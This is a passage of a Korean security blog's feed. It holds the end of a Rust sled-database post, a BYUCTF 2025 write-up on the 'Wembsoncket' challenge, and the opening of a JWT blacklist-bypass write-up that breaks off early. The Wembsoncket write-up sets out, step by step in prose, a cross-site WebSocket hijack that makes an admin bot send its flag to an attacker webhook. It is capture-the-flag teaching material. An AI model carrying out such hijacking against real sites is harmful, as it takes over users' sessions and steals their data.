    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;decoder&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;DeflateDecoder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Vec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;decoder&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.read_to_end&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.unwrap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;nd&quot;&gt;#[test]&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;duplicate_test&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;DbTrait&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DbRoot&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;tree&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;asdf&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.unwrap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DbRoot&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.get_tree&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;tree&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DbRoot&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.get_tree&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;tree&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;nd&quot;&gt;#[test]&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;duplicate_drop&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DbRoot&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.drop_tree&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;tree&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;DbTrait&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;remove&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DbRoot&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;tree&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;nd&quot;&gt;#[test]&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;inspect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nd&quot;&gt;println!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Master: {}&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;from_utf8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DB&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.unwrap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;DB&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.iter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.for_each&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;item&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Ok&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;item&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nd&quot;&gt;println!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
                &lt;span class=&quot;s&quot;&gt;&quot;Key: {}, Value: {}&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;nn&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;from_utf8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.unwrap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt;
                &lt;span class=&quot;nn&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;from_utf8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;inflate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.unwrap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tree_names&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DB&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.tree_names&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;tree_names&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.iter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.for_each&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nd&quot;&gt;println!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Tree: {}&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;from_utf8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.unwrap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Ok&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tree&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DB&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.open_tree&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;tree&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.iter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.for_each&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;item&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Ok&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;item&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                    &lt;span class=&quot;nd&quot;&gt;println!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
                        &lt;span class=&quot;s&quot;&gt;&quot;  Key: {}, Value: {}&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                        &lt;span class=&quot;nn&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;from_utf8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.unwrap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt;
                        &lt;span class=&quot;nn&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;from_utf8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;inflate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.unwrap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
                    &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;nd&quot;&gt;println!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;trait&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TreeKey&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;impl&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;AsRef&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;u8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;impl&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TreeKey&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;impl&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;AsRef&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;u8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;impl&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TreeKey&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;impl&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;AsRef&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;u8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;impl&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TreeKey&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Uuid&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;impl&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;AsRef&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;u8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.to_string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;작성자의-글&quot;&gt;작성자의 글&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;참조&quot;&gt;참조&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;.&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Sat, 24 May 2025 19:26:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/blog/rust-sled-template/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/blog/rust-sled-template/</guid>
      </item>
    
      <item>
        <title>[byuctf2025] Wembsoncket</title>
        <description>&lt;h2 id=&quot;배경&quot;&gt;배경&lt;/h2&gt;

&lt;p&gt;BYUCTF 2025 웹해킹 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Wembsocket&lt;/code&gt; 문제 풀이입니다.&lt;/p&gt;

&lt;h2 id=&quot;요약&quot;&gt;요약&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;Websocket 연결 시, 서버측에서 어디에서 소켓이 연결되었는지 검사하지 않을 때 하이재킹이 발생할 수 있음.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;문제-상황&quot;&gt;문제 상황&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-05-22-0.png&quot; alt=&quot;공격 대상 사이트&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;다음과 같은 챗봇 사이트가 존재했으며&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-05-22-1.png&quot; alt=&quot;웹서버 소스코드&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;어드민이 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/getFlag&lt;/code&gt; 명령어 전달 시 플래그를 출력하며&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://...&lt;/code&gt;로 시작하는 주소를 입력할 시&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-05-22-2.png&quot; alt=&quot;내부 로직&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;puppeteer&lt;/code&gt;라이브러리를 통해 해당 사이트에 접속하여 사이트가 연결되는지 확인하는 사이트였습니다.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;점수 - 446점, 푼 팀 - 88/894팀&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;분석-과정&quot;&gt;분석 과정&lt;/h2&gt;

&lt;p&gt;아래는 문제풀이를 위한 시도였습니다.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;세션을 공격하거나 프로그램 내부에서 사용되고 있는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;puppeteer&lt;/code&gt;취약점을 이용해 공격하는것으로 접근해보았습니다.&lt;/li&gt;
  &lt;li&gt;세션 공격은 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;verify&lt;/code&gt;에서 검증에 실패했습니다.&lt;/li&gt;
  &lt;li&gt;웹서버에서 사용하던 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;puppeteer&lt;/code&gt;에는 특별한 취약점이 존재하지 않는것같았습니다.&lt;/li&gt;
&lt;/ol&gt;

&lt;hr /&gt;

&lt;p&gt;아래는 문제 해답입니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-05-22-3.png&quot; alt=&quot;문제 해답&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;1. 사이트 접속시 챗봇에 연결해 `/getFlag`를 전송해 응답을 원하는 곳으로 전송하는 스크립트를 작성해둡니다. (A)
2. A 사이트를 외부에서 접근 가능하게 노출시켜둡니다.
3. 웹서버 챗봇에 A 사이트에 접근하라고 지시합니다.
4. 웹서버 챗봇이 A 사이트에 접근합니다.
5. 웹서버 챗봇이 A 사이트 스크립트를 실행해, `wembsoncket.chal.cyberjousting.com`사이트의 쿠키를 가지고 챗봇에 연결합니다. (쿠키는 위 소스코드 내부에 설정되어 있습니다.)
6. 어드민의 쿠키를 가지고 있는 챗봇이 `/getFlag`를 실행하여 플래그를 반환합니다.
7. 플래그가 웹훅으로 전송됩니다.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;작성자의-글&quot;&gt;작성자의 글&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;해당 문제는 대회 당일 해결하지 못해 writeup을 찾아보던 중 풀이를 발견하여 정리하게 되었습니다.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;참조&quot;&gt;참조&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/BYU-CSA/BYUCTF-2025/blob/main/web/wembsoncket/README.md&quot;&gt;CTF 공식 문제풀이&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Thu, 22 May 2025 06:24:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/blog/byuctf2025-wembsocket/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/blog/byuctf2025-wembsocket/</guid>
      </item>
    
      <item>
        <title>[byuctf2025] JWTF</title>
        <description>&lt;h2 id=&quot;배경&quot;&gt;배경&lt;/h2&gt;

&lt;p&gt;BYUCTF 2025 웹해킹 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;JWTF&lt;/code&gt; 문제 풀이입니다.&lt;/p&gt;

&lt;h2 id=&quot;요약&quot;&gt;요약&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;유출된 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;admin&lt;/code&gt;의 JWT 토큰이 있었으나, 이는 블랙리스트로 등록되어 있음&lt;/li&gt;
  &lt;li&gt;JWT 토큰의 특징을 이용해, 같은 값을 가지지만 블랙리스트를 우회함&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;문제-상황&quot;&gt;문제 상황&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;어드민용 계정에 대한 JWT 토큰 값이 유출되어 있음&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-05-21-1.png&quot; alt=&quot;블랙리스트 등록된 이미지지&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;유출된 토큰 값에 대한 블랙리스트가 등록되어 있음&lt;/li&gt;
&lt;/ul&gt;

